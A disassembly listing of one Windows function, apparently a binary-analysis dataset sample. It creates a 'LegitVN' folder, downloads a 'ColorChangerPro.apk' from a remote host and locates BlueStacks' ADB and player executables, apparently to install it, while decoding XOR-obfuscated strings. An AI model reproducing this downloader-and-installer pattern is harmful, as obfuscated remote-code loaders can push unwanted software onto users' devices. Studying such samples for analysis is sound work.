Function at 0x140006bb0
Capabilities:
Check if file exists
Create directory
Encode data using xor
Get file attributes
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
movaps xmmword [rsp + 0xc0], xmm6
mov rax, qword [0x14001b040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
lea rax, str.C:LegitVNSrcColorChangerPro.apk
mov qword [rbp - 9], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x49], xmm1
mov r8d, 0xe
lea rdx, str.C:LegitVNSrc
lea rcx, [rbp - 0x59]
call fcn.140010500
nop
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140006c22
test al, 0x10
jne 0x140006c77
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova rcx, qword [rbp - 0x59]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140006c77
lea rdx, str.Failed_to_create_directory:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000f7f0
mov rcx, rax
lea rdx, [rbp - 0x59]
call fcn.14000fb80
lea rdx, [0x14000fbc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x140006cb5
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006cb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006cb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011eac
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f], xmm1
mov r8d, 0x28
lea rdx, str._C:Program_FilesBlueStacksHD_Adb.exe_
lea rcx, [rbp + 0x1f]
call fcn.140010500
nop
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
mov r8d, 0x2d
lea rdx, str._C:Program_FilesBlueStacks_msi2HD_Adb.exe_
lea rcx, [rbp - 1]
call fcn.140010500
nop
mov rcx, qword [rbp - 9]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
jne 0x140006d1e
call fcn.1400047e0
lea rdx, str.File_already_exists.
jmp 0x140006d42
mov rdx, qword [rbp - 9]
lea rcx, str.https:__r2.e_z.host_2825fb47_f8a4_472c_9624_df2489f897c0_zviaf378.apk
call fcn.1400037c0
test al, al
je 0x1400073af
call fcn.1400047e0
lea rdx, str.APK_downloaded_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f7f0
lea rdx, [0x14000fbc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp - 9]
call fcn.140003920
lea rax, [rbp - 9]
mov qword [rbp - 0x29], rax
lea rcx, str.C:Program_FilesBlueStacksHD_Player.exe
call fcn.140004490
test al, al
je 0x140006f88
lea rdx, [0x140014b64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f7f0
call fcn.1400047e0
movups xmm0, xmmword [str.VNYNJ1c_6f5___n89_:s_0__164a_]
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [0x140016150]
movups xmmword [rbp - 0x49], xmm1
mov eax, dword [0x140016160]
mov dword [rbp - 0x39], eax
movzx eax, byte [0x140016164]
mov byte [rbp - 0x35], al
xor r8d, r8d
cmp dword [0x14001b090], 2
jl 0x140006ef7
movdqa xmm4, xmmword [0x1400164b0]
movdqa xmm3, xmmword [0x140016530]
movdqa xmm5, xmmword [str.7777]
movdqa xmm0, xmmword [0x140016540]
movdqa xmmword [rbp - 0x19], xmm0
lea rcx, [rbp - 0x55]
movdqa xmm6, xmmword [0x140016520]
mov edx, dword [rbp - 0x19]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140006e10
cmp r8d, 0x25
jge 0x140006f30
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140006f01
lea rdx, [rbp - 0x59]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f7f0
lea rdx, [0x14001bc70]
cmp qword [0x14001bc88], 0xf
cmova rdx, qword [0x14001bc70]
mov r8, qword [0x14001bc80]
mov rcx, rax
call fcn.140010f80
lea rdx, [0x14000fbc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x1f]
lea rcx, [rbp - 0x29]
call fcn.140006680
jmp 0x1400073d3
lea rcx, str.C:Program_FilesBlueStacks_msi2HD_Player.exe
call fcn.140004490
test al, al
je 0x140007198
call fcn.1400047e0
movups xmm0, xmmword [0x140015f98]
movups xmmword [rbp - 0x59], xmm0
movsd xmm0, qword [0x140015fa8]
movsd qword [rbp - 0x49], xmm0
mov eax, dword [0x140015fb0]
mov dword [rbp - 0x41], eax
movzx eax, word [0x140015fb4]
mov word [rbp - 0x3d], ax
cmp byte [0x140015fb5], 0
je 0x140007140
xor r8d, r8d
cmp dword [0x14001b090], 2
jl 0x140007107
movdqa xmm4, xmmword [0x1400164b0]
movdqa xmm3, xmmword [0x140016530]
movdqa xmm5, xmmword [str.7777]
movdqa xmm0, xmmword [0x140016540]
movdqa xmmword [rbp - 0x19], xmm0
lea rcx, [rbp - 0x55]
movdqa xmm6, xmmword [0x140016520]
mov edx, dword [rbp - 0x19]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140007020
cmp r8d, 0x1e
jge 0x140007140
movsxd rax, r8d
lea r9, [rbp - 0x59]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140007111
lea rdx, [rbp - 0x59]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f7f0
lea rdx, [0x14001bc70]
cmp qword [0x14001bc88], 0xf
cmova rdx, qword [0x14001bc70]
mov r8, qword [0x14001bc80]
mov rcx, rax
call fcn.140010f80
lea rdx, [0x14000fbc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp - 1]
lea rcx, [rbp - 0x29]
call fcn.140006680
jmp 0x1400073d3
mov edx, 7
mov rcx, qword [0x14001bc90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400151d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f7f0
mov edx, 4
mov rcx, qword [0x14001bc90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400151d4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f7f0
mov edx, 7
mov rcx, qword [0x14001bc90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140014938]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f7f0
movups xmm0, xmmword [str.VNYNJ1c__g]
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [0x140016430]
movups xmmword [rbp - 0x49], xmm1
movups xmm0, xmmword [0x140016440]
movups xmmword [rbp - 0x39], xmm0
xor r8d, r8d
cmp dword [0x14001b090], 2
jl 0x140007353
movdqa xmm4, xmmword [0x1400164b0]
movdqa xmm3, xmmword [0x140016530]
movdqa xmm5, xmmword [str.7777]
movdqa xmm0, xmmword [0x140016540]
movdqa xmmword [rbp - 0x19], xmm0
lea rcx, [rbp - 0x55]
movdqa xmm6, xmmword [0x140016520]
mov edx, dword [rbp - 0x19]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140007270
jmp 0x140007392
lea r9, [rbp - 0x59]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul edx, eax, 0x37
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x140007360
lea rdx, [rbp - 0x59]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f7f0
mov ecx, 0xd05
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400073d3
lea rdx, str.Failed_to_download_APK_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000f7f0
lea rdx, [0x14000fbc0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x140007412
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000740c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000740c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011eac
nop
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x140007450
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000744b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000744b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011eac
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140011b40
movaps xmm6, xmmword [rsp + 0xc0]
add rsp, 0xd0
pop rbp
ret